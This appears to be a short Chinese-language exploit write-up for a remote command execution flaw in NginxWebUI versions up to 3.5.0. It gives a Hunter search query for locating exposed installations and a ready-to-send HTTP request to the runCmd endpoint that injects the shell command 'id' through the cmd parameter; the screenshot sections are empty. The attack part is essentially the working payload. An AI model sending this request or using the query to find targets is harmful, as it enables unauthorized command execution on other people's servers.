N1-1NginxWebUI-RCE

漏洞描述：

NginxWebUI 是一款图形化管理 nginx 配置的工具，可以使用网页来快速配置 nginx单机与集群的各项功能，包括 http协议转发，tcp协议转发，反向代理，负载均衡，静态 html服务器，ssl证书自动申请、续签、配置等，配置好后可一建生成 nginx.conf文件，同时可控制 nginx使用此文件进行启动与重载，完成对 nginx的图形化控制闭环。nginxWebUI runCmd存在命令执行漏洞。

影响版本：

nginxWebUI <= 3.5.0

网站图片：

网络测绘：

Hunter 语法：

hunterapp.name="NginxWebUI"

漏洞复现：

payload：

```
GET /AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: SOLONID=2d074d89ecd545eaa2214312c9d1c47d; SOLONID2=4e09cf24e4fecc4f26fd605eb3b862df; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1692374067; Hm_lpvt_8acef669ea66f479
Upgrade-Insecure-Requests: 1
```

效果图: